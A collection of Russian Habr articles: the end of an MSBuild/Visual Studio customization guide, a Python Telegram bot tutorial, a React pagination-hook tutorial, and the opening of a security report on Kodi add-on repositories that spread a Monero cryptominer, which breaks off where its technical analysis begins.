из IDE. Для этого нам потребуется написать специальный XAML-файл с описанием настроек. Открываем текстовый редактор и создаем файл с названием, к примеру, custom\_settings.xml ``` xml version="1.0" encoding="utf-8"? ``` Помимо собственно тэга StringProperty который указывает Студии на существование настройки «ProtobufOutputFolder» с типом String и Subtype=Folder и объясняет то как ее следует показывать в GUI, данный XML-ник указывает что хранить эту информацию следует в project file. Помимо ProjectFile можно использовать еще UserFile — тогда данные будут записаны в отдельный файлик .vcxproj.user который по задумке создателей Студии предназначается для приватных (не сохраняемых в VCS) настроек. Подключаем описанную нами схему к проекту, дописав в наш protobuf.targets тэг PropertyPageSchema ``` GenerateProtobuf ``` Для того чтобы наши правки вступили в силу перезапускаем Студию, загружаем наш проект, открываем project properties и видим… ![](https://habrastorage.org/r/w1560/webt/mh/ti/ag/mhtiagdykgurvyc9z6qffj9ybky.png) Да! Появилась наша страничка с нашей настройкой и ее значение по умолчанию было верно прочитано Студией. Пробуем ее изменить, сохраняем проект, смотрим .vcxproj… ``` .\generated\_custom ``` Как можно видеть по традиционному условию Condition, по умолчанию настройки ассоциированы с конкретной конфигурацией билда. Но при желании это можно перекрыть с помощью установки флага DataSource HasConfigurationCondition=«false». Правда в 2017 студии присутствует баг из-за которого настройки проекта могут не показываться если среди них нет хотя бы одной настройки ассоциированной с какой-то конфигурацией. К счастью эта настройка может быть невидимой. **Вариант без привязки к configuration**`xml version="1.0" encoding="utf-8"? /> DisplayName="Protobuf Output Directory" Description="Directory where Protobuf generated files are created." Subtype="folder"> /> />` Настроек можно добавлять сколько угодно. Возможные типы включают BoolProperty, StringProperty (с опциональными подтипами «folder» и «file»), StringListProperty, IntProperty, EnumProperty и DynamicEnumProperty причем последний может заполняться на лету из любого списка доступного в .vcxproj. [Подробнее об этом можно почитать здесь](https://www.codeproject.com/Articles/881782/Creating-custom-UI-property-pages-sheets-in-Visual). Можно так же группировать настройки в разделы. Попробуем к примеру добавить еще одну настройку типа Bool **Код** ``` xml version="1.0" encoding="utf-8"? ``` Перезапускаем Студию ![](https://habrastorage.org/r/w1560/webt/10/pc/pi/10pcpiuq9dtwnx5zc67vkaultvc.png) Редактируем настройку, сохраняем проект — все работает как ожидалось ``` true .\generated\_сustom ``` #### Объясняем Студии про новые типы файлов До сих пор чтобы добавить в проект protobuf-файл нам необходимо было вручную прописывать в .vcxproj что это . Это легко исправить дописав к упомянутому выше .xml три тэга ``` ``` Перезапускаем студию, смотрим свойства у наших .proto файлов ![](https://habrastorage.org/r/w1560/webt/65/f5/bq/65f5bqd6wvgfyzp3ebo2hf7qu-o.png) Как легко видеть файлы теперь верно распознаются как «Google Protobuf Schema». К сожалению соответствующий пункт не добавляется автоматически в диалог «Add new item», но если мы добавим в проект уже существующий .proto-файл (контекстное меню проекта \ Add \ Existing item… ) то он распознается и добавится правильно. Кроме того наш новый «тип файлов» можно будет выбрать в выпадающем списке Item type: ![](https://habrastorage.org/r/w1560/webt/8c/sa/xz/8csaxzw2hzntegcvrvlxrwbs6s4.png) #### Ассоциируем настройки с индивидуальными файлами Помимо настроек «для проекта в целом» совершенно аналогичным образом можно сделать «настройки для отдельного файла». Достаточно указать в тэге DataSource аттрибут ItemType. ``` ``` Проверяем ![](https://habrastorage.org/r/w1560/webt/wk/ju/xf/wkjuxf-xr0vedrarl5_pkdfxi8w.png) Сохраняем, смотрим содержимое .vcxproj ``` MYLIB\_EXPORT ``` Все работает как ожидалось. ### Level 4: расширяем функциональность MSBuild У меня никогда не возникало необходимости залезать в процесс сборки настолько глубоко, но раз уж статья так и так получилась немаленькой, то коротенько упомяну о последней возможности для кастомизации: расширение самого MSBuild. Помимо довольно обширной коллекции «стандартных» тасков, в MSBuild таски можно «импортировать» из разных источников с помощью тэга UsingTask. К примеру мы можем [написать свое расширение для MSBuild](https://habr.com/ru/post/261603/), скомпилировать его в DLL-библиотеку и импортировать как-то вот так: ``` ``` Именно так реализовано большинство «стандартных» тасков предоставляемых Студией. Но таскать с собою кастомную DLL для сборки по очевидным причинам частенько неудобно. Поэтому в тэге UsingTask поддерживается штука которая называется TaskFactory. TaskFactory можно считать «компилятором для task-ов» — мы передаем ей на вход некий исходный «мета-код», а она по нему генерирует реализующий его объект типа Task. К примеру с помощью CodeTaskFactory можно воткнуть код написанной на C# таски прямо внутрь .props-файла. **Подобный подход использует, к примеру Qt VS Tools** ``` `var data = Encoding.UTF8.GetBytes(string.Concat(Keys.OrderBy(x => x) .Select(x => string.Format("[{0}={1}]", x, Item.GetMetadata(x)))) .ToUpper()); using (var dataZipped = new MemoryStream()) { using (var zip = new DeflateStream(dataZipped, CompressionLevel.Fastest)) zip.Write(data, 0, data.Length); Hash = Convert.ToBase64String(dataZipped.ToArray()); }` ``` Если кто-то подобной функциональностью пользовался — отпишитесь об интересных use-case в комментариях. На этом всё. Надеюсь что мне удалось показать как при настройке MSBuild работу с крупным проектом в Visual Studio можно сделать простой и удобной. Если Вы соберетесь внедрять у себя что-то из описанного выше, то дам небольшой совет: для отладки .props, .targets и .vcxproj удобно выставить MSBuild «отладочный» уровень логгирования в котором он весьма подробно пошагово расписывает свои действия с входными и выходными файлами ![](https://habrastorage.org/r/w1560/webt/ba/mm/ao/bammaoroiftpshwqwpdcbjchmc0.png) Спасибо всем кто дочитал до конца, надеюсь что получилось интересно :). Делитесь своими рецептами для msbuild в комментариях — я постараюсь обновлять пост чтобы он служил исчерпывающим гайдом по конфигурированию solution в Студии.
https://habr.com/ru/post/448216/
null
ru
null
# Инструкция: Как создавать ботов в Telegram 24 июня разработчики Telegram [открыли](https://core.telegram.org/bots) платформу для создания ботов. Новость кого-то обошла стороной Хабр, однако многие уже начали разрабатывать викторины. При этом мало где указаны хоть какие-то примеры работающих ботов. Прежде всего, бот для Telegram — это по-прежнему приложение, запущенное на вашей стороне и осуществляющее запросы к [Telegram Bot API](https://core.telegram.org/bots/api). Причем API довольное простое — бот обращается на определенный URL с параметрами, а Telegram отвечает JSON объектом. Рассмотрим API на примере создания тривиального бота: ### 1. Регистрация Прежде чем начинать разработку, бота необходимо зарегистрировать и получить его уникальный id, являющийся одновременно и токеном. Для этого в Telegram существует специальный бот — [@BotFather](https://telegram.me/botfather). Пишем ему /start и получаем список всех его команд. Первая и главная — /newbot — отправляем ему и бот просит придумать имя нашему новому боту. Единственное ограничение на имя — оно должно оканчиваться на «bot». В случае успеха BotFather возвращает токен бота и ссылку для быстрого добавления бота в контакты, иначе придется поломать голову над именем. Для начала работы этого уже достаточно. Особо педантичные могут уже здесь присвоить боту аватар, описание и приветственное сообщение. Не забудьте проверить полученный токен с помощью ссылки [api.telegram.org/bot/getMe](https://api.telegram.org/bot<TOKEN>/getMe), говорят, не всегда работает с первого раза. ### 2. Программирование Создавать бота буду на Python3, однако благодаря адекватности этого языка алгоритмы легко переносятся на любой другой. Telegram позволяет не делать выгрузку сообщений вручную, а поставить webHook, и тогда они сами будут присылать каждое сообщение. Для Python, чтобы не заморачиваться с cgi и потоками, удобно использовать какой-нибудь реактор, поэтому я для реализации выбрал tornado.web. (для GAE удобно использовать связку Python2+Flask) Каркас бота: ``` URL = "https://api.telegram.org/bot%s/" % BOT_TOKEN MyURL = "https://example.com/hook" api = requests.Session() application = tornado.web.Application([ (r"/", Handler), ]) if __name__ == '__main__': signal.signal(signal.SIGTERM, signal_term_handler) try: set_hook = api.get(URL + "setWebhook?url=%s" % MyURL) if set_hook.status_code != 200: logging.error("Can't set hook: %s. Quit." % set_hook.text) exit(1) application.listen(8888) tornado.ioloop.IOLoop.current().start() except KeyboardInterrupt: signal_term_handler(signal.SIGTERM, None) ``` Здесь мы при запуске бота устанавливаем вебхук на наш адрес и отлавливаем сигнал выхода, чтобы вернуть поведение с ручной выгрузкой событий. Приложение торнадо для обработки запросов принимает класс tornado.web.RequestHandler, в котором и будет логика бота. ``` class Handler(tornado.web.RequestHandler): def post(self): try: logging.debug("Got request: %s" % self.request.body) update = tornado.escape.json_decode(self.request.body) message = update['message'] text = message.get('text') if text: logging.info("MESSAGE\t%s\t%s" % (message['chat']['id'], text)) if text[0] == '/': command, *arguments = text.split(" ", 1) response = CMD.get(command, not_found)(arguments, message) logging.info("REPLY\t%s\t%s" % (message['chat']['id'], response)) send_reply(response) except Exception as e: logging.warning(str(e)) ``` Здесь CMD — словарь доступных команд, а send\_reply — функция отправки ответа, которая на вход принимает уже сформированный объект [Message](https://core.telegram.org/bots/api#message). Собственно, её код довольно прост: ``` def send_reply(response): if 'text' in response: api.post(URL + "sendMessage", data=response) ``` Теперь, когда вся логика бота описана можно начать придумывать ему команды. ### 3. Команды Перво-наперво, необходимо соблюсти соглашение Telegram и научить бота двум командам: /start и /help: ``` def help_message(arguments, message): response = {'chat_id': message['chat']['id']} result = ["Hey, %s!" % message["from"].get("first_name"), "\rI can accept only these commands:"] for command in CMD: result.append(command) response['text'] = "\n\t".join(result) return response ``` Структура message['from'] — это объект типа [User](https://core.telegram.org/bots/api#user), она предоставляет боту информацию как id пользователя, так и его имя. Для ответов же полезнее использовать message['chat']['id'] — в случае личного общения там будет User, а в случае чата — id чата. В противном случае можно получить ситуацию, когда пользователь пишет в чат, а бот отвечает в личку. Команда /start без параметров предназначена для вывода информации о боте, а с параметрами — для идентификации. Полезно её использовать для действий, требующих авторизации. После этого можно добавить какую-нибудь свою команду, например, /base64: ``` def base64_decode(arguments, message): response = {'chat_id': message['chat']['id']} try: response['text'] = b64decode(" ".join(arguments).encode("utf8")) except: response['text'] = "Can't decode it" finally: return response ``` Для пользователей мобильного Telegram, будет полезно сказать @BotFather, какие команды принимает наш бот: `I: /setcommands BotFather : Choose a bot to change the list of commands. I: @******_bot BotFather: OK. Send me a list of commands for your bot. Please use this format: command1 - Description command2 - Another description I: whoisyourdaddy - Information about author base64 - Base64 decode BotFather: Success! Command list updated. /help` C таким описанием, если пользователь наберет /, Telegram услужливо покажет список всех доступных команд. ### 4. Свобода Как можно было заметить, Telegram присылает сообщение целиком, а не разбитое, и ограничение на то, что команды начинаются со слеша — только для удобства мобильных пользователей. Благодаря этому можно научить бота немного говорить по-человечески. **UPD:** Как верно подсказали, такое пройдет только при личном общении. В чатах боту доставляются только сообщения, начинающиеся с команды (/) (https://core.telegram.org/bots#privacy-mode) > * All messages that start with a slash ‘/’ (see Commands above) > * Messages that [mention](https://habr.com/ru/users/mention/) the bot by username > * Replies to the bot's own messages > * Service messages (people added or removed from the group, etc.) > > > > Чтобы бот получал все сообщения в группах пишем @BotFather команду **/setprivacy** и выключаем приватность. Для начала в Handler добавляем обработчик: ``` if text[0] == '/': ... else: response = CMD[""](message) logging.info("REPLY\t%s\t%s" % (message['chat']['id'], response)) send\_reply(response) ``` А потом в список команд добавляем псевдо-речь: ``` RESPONSES = { "Hello": ["Hi there!", "Hi!", "Welcome!", "Hello, {name}!"], "Hi there": ["Hello!", "Hello, {name}!", "Hi!", "Welcome!"], "Hi!": ["Hi there!", "Hello, {name}!", "Welcome!", "Hello!"], "Welcome": ["Hi there!", "Hi!", "Hello!", "Hello, {name}!",], } def human_response(message): leven = fuzzywuzzy.process.extract(message.get("text", ""), RESPONSES.keys(), limit=1)[0] response = {'chat_id': message['chat']['id']} if leven[1] < 75: response['text'] = "I can not understand you" else: response['text'] = random.choice(RESPONSES.get(leven[0])).format_map( {'name': message["from"].get("first_name", "")} ) return response ``` Здесь эмпирическая константа 75 относительно неплохо отражает вероятность того, что пользователь всё-таки хотел сказать. А format\_map — удобна для одинакового описания строк как требующих подстановки, так и без нее. Теперь бот будет отвечать на приветствия и иногда даже обращаться по имени. ### 5. Не текст. Боты, как и любой нормальный пользователь Telegram, могут не только писать сообщения, но и делиться картинками, музыкой, стикерами. Для примера расширим словарь RESPONSES: ``` RESPONSES["What time is it?"] = ["", "{date} UTC"] ``` И будем отлавливать текст : ``` if response['text'] == "": response['sticker'] = "BQADAgADeAcAAlOx9wOjY2jpAAHq9DUC" del response['text'] ``` Видно, что теперь структура Message уже не содержит текст, поэтому необходимо модифицировать send\_reply: ``` def send_reply(response): if 'sticker' in response: api.post(URL + "sendSticker", data=response) elif 'text' in response: api.post(URL + "sendMessage", data=response) ``` И все, теперь бот будет время от времени присылать стикер вместо времени: ![](https://habrastorage.org/r/w1560/files/565/6eb/bfc/5656ebbfc8cd4e97b7c0fe2495fae6b3.png) ### 6. Возможности Благодаря удобству API и быстрому старту боты Telegram могут стать хорошей платформой для автоматизации своих действий, настройки уведомлений, создания викторин и task-based соревнований (CTF, DozoR и прочие). Вспоминая [статью про умный дом](http://habrahabr.ru/post/249265/), могу сказать, что теперь извращений меньше, а работа прозрачнее. ### 7. Ограничения К сожалению, на данный момент существует ограничение на использование webHook — он работает только по https и только с валидным сертификатом, что, например для меня пока критично за счет отсутствия поддержки сертифицирующими центрами динамических днс. К счастью, Telegram также умеет работать и по ручному обновлению, поэтому не меняя кода можно создать еще одну службу Puller, которая будет выкачивать их и слать на локальный адрес: ``` while True: r = requests.get(URL + "?offset=%s" % (last + 1)) if r.status_code == 200: for message in r.json()["result"]: last = int(message["update_id"]) requests.post("http://localhost:8888/", data=json.dumps(message), headers={'Content-type': 'application/json', 'Accept': 'text/plain'} ) else: logging.warning("FAIL " + r.text) time.sleep(3) ``` P.S. По пункту 7 нашел удобное решение — размещение бота не у себя, а на heroku, благо все имена вида \*.herokuapp.com защищены их собственным сертификатом. UPD: Telegram улучшили Бот Апи, из-за чего, теперь не обязательно иметь отдельную функцию для отправки сообщений при установленном вебхуке, а в ответ на POST запрос можно отвечать тем же сформированным JSON с ответным сообщением, где одно из полей устанавливается как ч 'method': 'sendMessage' (или любой другой метод, используемый ботом).
https://habr.com/ru/post/262247/
null
ru
null
# React: разрабатываем хук для загрузки дополнительных данных ![](https://habrastorage.org/r/w1560/webt/jc/hw/st/jchwst6a3nwlxlscnmuw5tdhmry.png) Привет, друзья! В этой статье я хочу поделиться с вами опытом разработки хука для загрузки дополнительных данных (авось кому-нибудь пригодится). На самом деле, хуков будет целых 2 штуки: * `useLoadMore` — для загрузки дополнительных данных при нажатии кнопки "Загрузить еще" * `useLoadPage` — для постраничной загрузки данных (аля пагинация на основе курсора) Первый хук попроще, второй посложнее. Полагаю, лишним будет говорить, что необходимость в использовании подобных хуков возникает в каждом втором проекте (по крайней мере, в моей сфере деятельности). [Исходный код проекта](https://github.com/harryheman/Blog-Posts/tree/master/react-use-load). **Песочница:** Для запуска проекта в песочнице в терминале необходимо выполнить команду `yarn start`. Команды для локального запуска проекта: ``` # клонируем репозиторий git clone https://github.com/harryheman/use-load.git # переходим в директорию с проектом cd use-load # устанавливаем общие зависимости yarn # устанавливаем зависимости для сервера cd server && yarn # устанавливаем зависимости для клиента cd .. && cd client && yarn # запускаем сервер для разработки cd .. && yarn start ``` Скриншот страницы, на которой используется хук `useLoadPage`, для затравки: ![](https://habrastorage.org/r/w1560/webt/yb/vb/mg/ybvbmgu6tjmfvgbepgoiolvkzkq.png) Проект состоит из двух частей: * сервера для генерации фиктивных данных и обработки запросов, поступающих от клиента; * клиента для выполнения запросов и отображения данных, полученных от сервера. Сервер написан на `Node`, клиент — на `React` и `TypeScript`. Структура проекта: ![](https://habrastorage.org/r/w1560/webt/v8/3u/u9/v83uu9l9ciqqhbdbogv7-a5aoog.png) Код сервера состоит из 2 файлов: * `index.js` — код для "роутов" и `express-сервера` * `seed.js` — код для генерации фиктивных данных с помощью [`faker`](https://github.com/marak/Faker.js/) Фиктивные данные представляют собой массив из `100` товаров (`allItems`). Каждый товар — это примерно такой объект: ``` { "id": "5b45a471-3429-4bde-bf0e-1750e84fd4bd", "title": "Generic Plastic Chair", "description": "Ergonomic executive chair upholstered in bonded black leather and PVC padded seat and back for all-day comfort and support", "price": "940.00", "image": "http://placeimg.com/640/480/tech?82281" } ``` Товары разделены на `10` страниц (`allPages`). Каждая страница — это объект, ключом которого является номер страницы, а значением — массив из `10` товаров: ``` // pages { 1: [ { // item }, ], // etc. } ``` После генерации фиктивные данные записываются в файл `server/data/fake.json`. Сервер обрабатывает запросы к 3 конечным точкам: * `/all-items`: в ответ возвращаются все товары — `{ items: allItems }` * `/more-items`: в ответ возвращается часть товаров, начиная с первого и заканчивая номером страницы из строки запроса (`req.query`), умноженной на `10`, а также общее количество страниц — `{ items: allItems.slice(0, page * 10), totalPages: Object.keys(allPages).length }` * `/items-by-page`: в ответ возвращается `10` товаров, соответствующих номеру страницы из строки запроса, а также общее количество страниц — `{ items: allPages[page], totalPages: Object.keys(allPages).length }` В целом, это все, что касается сервера. На клиенте у нас имеется следующее: * `API` для взаимодействия с сервером (`api/index.ts`), включающее 3 функции, соответствующие 3 конечным точкам на сервере: + `fetchAllItems` — функция для получения всех товаров + `fetchItemsAndPages` и `fetchItemsByPage` — функции для получения части товаров на основе номера (значения) страницы * 3 страницы (`pages`), соответствующие 3 `API-функциям`: + `AllProducts.tsx` — страница для отображения всех товаров. На этой странице используется функция `fetchAllItems`. Роут для страницы — `/` + `MoreProducts.tsx` — страница для отображения части товаров с возможностью загрузки дополнительных товаров при нажатии кнопки "Загрузить еще" в виде "👀". На этой странице используется хук `useLoadMore`, которому в качестве аргумента передается функция `fetchItemsAndPages`. Здесь мы двигаемся только вперед. Роут для страницы — `/more-products` + `ProductsByPage.tsx` — страница для постраничного отображения товаров с возможностью переключения страниц при нажатии кнопок "Вперед" в виде "👉" или "Назад" в виде "👈". На этой странице используется хук `useLoadPage`, которому в качестве аргумента передается функция `fetchItemsByPage`. В данном случае мы можем двигаться в обоих направлениях, т.е. как вперед, так и назад. Роут для страницы — `/products-by-page` * 3 компонента (`components`): + `Navbar.tsx` — панель навигации для переключения между страницами приложения + `ProductCard.tsx` — карточка товара + `ProductList.tsx` — список товаров * 2 хука (`hooks`): + `useLoadMore.ts` — хук для загрузки дополнительных товаров + `useLoadPage.ts` — хук для загрузки товаров, соответствующих определенной странице Перейдем непосредственно к рассмотрению хуков. Начнем с более простого — `useLoadMore`. Импортируем хуки из `react` и `react-router-dom`, а также типы для функции получения товаров и объекта товара из `types.ts`: ``` import { useEffect, useRef, useState } from 'react' import { useHistory } from 'react-router-dom' import { Item, FetchItems } from 'types' ``` Типы выглядят так: ``` export type Item = { id: string title: string description: string price: number image: string } export type AllItems = { items: Item[] } export type ItemsAndPages = AllItems & { totalPages: number } export type FetchItems = (page: number) => Promise ``` Определяем тип для объекта, возвращаемого хуком: ``` type UseLoadMoreReturn = { loading: boolean items: Item[] loadMore: () => void hasMore: boolean } ``` Как мы видим, хук возвращает следующее: * индикатор загрузки; * товары; * метод для загрузки дополнительных товаров; * индикатор наличия товаров. Определяем хук: ``` // хук принимает единственный параметр - функцию для получения дополнительных данных export const useLoadMore = (fetchItems: FetchItems): UseLoadMoreReturn => { // код хука } ``` Определяем переменные для товаров, значения (номера) текущей страницы, всех (доступных) страниц и индикатора загрузки, а также получаем объект истории браузера: ``` // товары const [items, setItems] = useState([]) // значение текущей страницы либо извлекается из строки запроса, // например, `?page=1`, либо устанавливается в значение 1 const page = Number(new URLSearchParams(window.location.search).get('page')) const currentPage = useRef(page > 0 ? page : 1) // все страницы const allPages = useRef(0) // индикатор загрузки const [loading, setLoading] = useState(false) // объект истории const history = useHistory() ``` Определяем функцию (внутренний метод) для загрузки товаров: ``` // функция принимает единственный параметр - номер страницы async function loadItems(page: number) { setLoading(true) try { const { items, totalPages } = await fetchItems(page) setItems(items) // меняем значение переменной только при инициализации и изменении данных из ответа сервера if (allPages.current !== totalPages) { allPages.current = totalPages } } catch (e) { console.error(e) } finally { setLoading(false) } } ``` Выполняем однократный побочный эффект для загрузки товаров на основе значения текущей страницы: ``` useEffect(() => { loadItems(currentPage.current) // eslint-disable-next-line }, []) ``` Определяем функцию (публичный интерфейс) для загрузки дополнительных товаров: ``` function loadMore() { // код функции выполняется только при условии, что значение текущей страницы // меньше количества доступных страниц if (currentPage.current < allPages.current) { // в данном случае мы двигаемся только в одном направлении // поэтому следующая страница - это всегда текущая страница + 1 const nextPage = currentPage.current + 1 // обновляем значение текущей страницы currentPage.current = nextPage // манипулируем адресом страницы history.replace(`?page=${nextPage}`) // загружаем товары loadItems(nextPage) } } ``` Зачем мы манипулируем адресом страницы? На это существует, как минимум, 2 причины: * это позволяет пользователю вернуться к тому списку, с которого он ушел, например, переключившись на страницу товара (в проекте не реализовано, но это можно увидеть, если переключиться на другую страницу и нажать "Назад" в браузере). В идеале, на странице также должно быть реализовано восстановление прокрутки (`scroll restoration`), но это тема для отдельной статьи; * это позволяет поделиться ссылкой на товар, который находится дальше первой страницы. Если, например, перейти по прямой ссылке `more-products?pages=3`, то будет загружено не `10`, а `30` первых товаров (здесь опять же не хватает привязки к конкретному товару). Наконец, возвращаем объект: ``` return { loading, items, loadMore, // обратите внимание, что здесь мы должны использовать `<`, а не `<=` hasMore: currentPage.current < allPages.current } ``` Пример использования этого хука можно увидеть на странице `MoreProducts.tsx`. При нажатии кнопки `👀` вызывается функция `loadMore` из хука. Когда индикатор наличия товаров получается значение `false`, эта кнопка не рендерится. Данный индикатор также можно установить в качестве значения атрибута `disabled` кнопки. Даже если разблокировать кнопку через редактирование разметки, загрузки несуществующих товаров не произойдет благодаря проверке `currentPage.current < allPages.current`. Теперь рассмотрим более продвинутый хук — `useLoadPage`. В начале мы также импортируем хуки и типы: ``` import { useEffect, useRef, useState } from 'react' import { useHistory } from 'react-router-dom' import { Item, FetchItems } from 'types' ``` Определяем тип для возвращаемого хуком объекта: ``` type UseLoadPageReturn = { loading: boolean items: Item[] hasNext: boolean hasPrev: boolean loadNext: () => void loadPrev: () => void currentPage: number allPages: number loadPage: (page: number) => void } ``` Как мы видим, хук возвращает много всего интересного: * `loading` — индикатор загрузки * `items` — товары * `hasNext` — индикатор наличия следующей страницы товаров * `hasPrev` — индикатор наличия предыдущей страницы * `loadNext` — функция для загрузки следующей страницы * `loadPrev` — функция для загрузки предыдущей страницы * `currentPage` — текущая страница * `allPages` — все страницы * `loadPage` — функция для загрузки товаров, соответствующих определенной странице В дополнение к этому я решил реализовать кеширование загруженных ранее страниц товаров. Определяем тип для соответствующего объекта: ``` type PagesCache = { [page: string]: Item[] } ``` Приступаем к реализации хука: ``` // хук принимает единственный параметр - функцию для получения дополнительных данных export const useLoadPage = (fetchItems: FetchItems): UseLoadPageReturn => { // код хука } ``` Определяем переменные для товаров, кеша, текущей страницы, первой страницы, всех страниц и индикатора загрузки, а также получаем объект истории браузера: ``` // товары const [items, setItems] = useState([]) // кеш для товаров const cachedItems = useRef({}) // значение текущей страницы либо извлекается из строки запроса, // например, `?page=1`, либо устанавливается в значение 1 const page = Number(new URLSearchParams(window.location.search).get('page')) const currentPage = useRef(page > 0 ? page : 1) // первая страница - хак (см. ниже) const firstPage = useRef(Infinity) // все страницы const allPages = useRef(0) // индикатор загрузки const [loading, setLoading] = useState(false) // объект истории const history = useHistory() ``` Определяем функцию (внутренний метод) для загрузки товаров: ``` // функция принимает единственный параметр - номер страницы async function loadItems(page: number) { // если для переданной страницы в кеше имеются товары if (cachedItems.current[page]) { // возвращаем их без выполнения запроса к серверу return setItems(cachedItems.current[page]) } setLoading(true) try { const { items, totalPages } = await fetchItems(page) setItems(items) // записываем загруженные товары в кеш - ключом является номер страницы cachedItems.current[page] = items // обновляем значения переменных для всех и первой страницы if (allPages.current !== totalPages) { allPages.current = totalPages firstPage.current = 1 } } catch (e) { console.error(e) } finally { setLoading(false) } } ``` Выполняем однократный побочный эффект для загрузки товаров на основе значения текущей страницы: ``` useEffect(() => { loadItems(currentPage.current) // eslint-disable-next-line }, []) ``` Определяем функцию (публичный интерфейс) для загрузки товаров по номеру страницы: ``` // функция принимает единственный параметр - номер страницы function loadPage(page: number) { currentPage.current = page history.replace(`?page=${page}`) loadItems(page) } ``` Определяем функции (публичный интерфейс) для загрузки следующей и предыдущей страниц товаров: ``` function loadNext() { // код функции выполняется только при условии, что значение текущей страницы // меньше количества доступных страниц if (currentPage.current < allPages.current) { const nextPage = currentPage.current + 1 loadPage(nextPage) } } function loadPrev() { // код функции выполняется только при условии, что значение текущей страницы // больше значения первой страницы if (currentPage.current > firstPage.current) { const nextPage = currentPage.current - 1 loadPage(nextPage) } } ``` Наконец, возвращаем объект: ``` return { loading, items, hasNext: currentPage.current < allPages.current, hasPrev: currentPage.current > firstPage.current, loadNext, loadPrev, currentPage: currentPage.current, allPages: allPages.current, loadPage } ``` Хак с первой страницей нужен для первоначального рендеринга страницы `ProductsByPage`, когда мы начинаем со второй и далее страницы. Если определить первую страницу явно (т.е. как `1`), то индикатор `hasPrev` получит значение `true` и мы увидим заблокированную кнопку "Назад" над "лоадером". Попробуйте поэкспериментировать. Возможно, вы найдете лучшее решение. Пример использования данного хука можно увидеть на странице `ProductsByPage`. Вот для чего используется каждое из возвращаемых хуком значений: * `loading` — если имеет значение `true`, вместо списка товаров рендерится лоадер, кнопки для переключения между страницами блокируются * `items` — передаются в качестве пропа компоненту `ProductList` для отображения списка товаров * `hasNext` — если имеет значение `true`, кнопка для загрузки следующей страницы товаров не рендерится * `hasPrev` — не рендерится кнопка для загрузки предыдущей страницы товаров * `loadNext` — вызывается при нажатии кнопки `👉` * `loadPrev` — вызывается при нажатии кнопки `👈` * `currentPage` — используется при формировании компонента `PageLinks` для определения текущей страницы товаров и ее визуальной индикации * `allPages` — используется при формировании компонента `PageLinks` для определения общего количества "ссылок" * `loadPage` — вызывается при клике по ссылке из `PageLinks` На странице `ProductsByPage` также реализовано переключение между страницами товаров при нажатии стрелок на клавиатуре. Пожалуй, это все, чем я хотел поделиться с вами в данной статье. Буду рад любой форме обратной связи. Благодарю за внимание и хорошего дня! --- [![](https://habrastorage.org/r/w1560/webt/wn/cq/lp/wncqlp9abeml4npwzsybuvhzcta.png)](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low)
https://habr.com/ru/post/584862/
null
ru
null
# Аддоны Kodi используются для распространения криптомайнеров Если вы используете Kodi, то могли заметить, что популярный голландский репозиторий аддонов XvBMC был [закрыт](https://www.technadu.com/kodi-addon-repository-xvbmc-nl-taken-down-brein-anti-piracy-complaint/38165/) из-за нарушения авторских прав. После этого мы обнаружили, что репозиторий скрытно использовался в кампании криптомайнинга, начавшейся в декабре 2017 года. Это второй известный инцидент, связанный с распространением вредоносного ПО через аддоны Kodi, и первый случай криптомайнинга с помощью данной платформы. Интересно, что пользователям Kodi направляются бинарники, соответствующие используемой ОС (Windows или Linux). ![](https://habrastorage.org/r/w780q1/webt/be/a9/id/bea9id1txubtauilmc1ggltse_s.jpeg) Для тех, кто не знаком с платформой Kodi: медиаплеер не поставляет контент; пользователи самостоятельно расширяют функциональность продукта, устанавливая аддоны из официального репозитория и сторонних площадок. Некоторые неофициальные дополнения позволяют получить доступ к пиратскому контенту, в связи с чем Kodi неоднозначно воспринимается общественностью. Дополнения Kodi, нарушающие авторские права, уже [связывали](https://torrentfreak.com/rampant-kodi-malware-its-time-to-either-put-up-or-shut-up-190610/) с распространением вредоносного ПО, но, за исключением [инцидента с DDoS-модулем](https://torrentfreak.com/popular-kodi-addon-exodus-turned-users-into-a-ddos-botnet-170203/) в составе популярного аддона, доказательств предъявлено не было. ### Кампания Мы выяснили, что вредоносное ПО, найденное в XvMBC, впервые появилось в популярных репозиториях Bubbles и Gaia в декабре 2017 и январе 2018 года соответственно. Из них, а также путем обновления других репозиториев и готовых сборок, вредоносное ПО распространилось в экосистеме Kodi. Малварь имеет многоступенчатую архитектуру. Авторы приняли меры, чтобы происхождение финальной полезной нагрузки (криптомайнера) невозможно было отследить до вредоносного аддона. Майнер работает под Windows и Linux, он добывает Monero (XMR). Версии для Android или macOS пока in the wild не наблюдались. Заражение производилось по одной из трех схем: 1. Жертва добавила URL вредоносного репозитория в Kodi, чтобы загрузить некоторые аддоны. Вредоносное дополнение устанавливается при обновлении аддонов Kodi. 2. Жертва установила готовую сборку Kodi, включающую URL вредоносного репозитория. Вредоносное дополнение устанавливается при обновлении аддонов Kodi. 3. Жертва установила готовую сборку Kodi с вредоносным дополнением, но без ссылки на репозиторий для обновления. Компьютер скомпрометирован, хотя вредоносный аддон не обновляется. Тем не менее, если криптомайнер установлен, он сохраняется в системе и может получать обновления. По данным телеметрии ESET, топ-5 стран с наиболее высоким уровнем активности угрозы – США, Израиль, Греция, Великобритания и Нидерланды. Логично, поскольку эти страны фигурируют в числе [лидеров по объему трафика](https://www.tvaddons.co/statistics-april-2018/) в дополнениях Kodi. Другое возможное объяснение – популярность в данных странах сборок с вредоносным репозиторием (как XvBMC – в Нидерландах). ![](https://habrastorage.org/r/w1560/webt/73/1-/iz/731-izpfgbisyx8yipzmwi9_jsy.png) *Рисунок 1. Распространение криптомайнера* В настоящее время репозитории, с которых началось распространение криптомайнера, не работают (Bubbles), либо больше не раздают вредоносный код (Gaia). Тем не менее, жертвы, устройства которых заражены криптомайнером, все еще под угрозой. Кроме того, вредоносное ПО по-прежнему присутствует в других репозиториях и некоторых готовых сборках Kodi, авторы которых, скорее всего, об этом не подозревают. ### Хронология **17 декабря 2017 года** – репозиторий Bubbles публикует первое вредоносное обновление **4 января 2018 года** – первое вредоносное обновление в репозитории Gaia **14 января** – первый вредоносный аддон в репозитории Bubbles **Середина января** – репозиторий Bubbles закрыт, пользователей перенаправляют в Gaia **28 января** – ESET обнаружила криптомайнер **28 января–середина апреля** – криптомайнер регулярно получает обновления **11 февраля, 6 марта, 21 марта** – обновления вредоносных аддонов **26 апреля** – репозиторий Gaia удаляет весь контент, новая версия больше не распространяет вредоносный аддон **Середина августа** – сообщение о закрытии репозитория XvBMC – второго источника вредоносных аддонов ### Технический анализ #### Как это работает Когда жертва добавляет вредоносный репозиторий в Kodi, он (репозиторий) хранит дополнение `script.module.simplejson` – 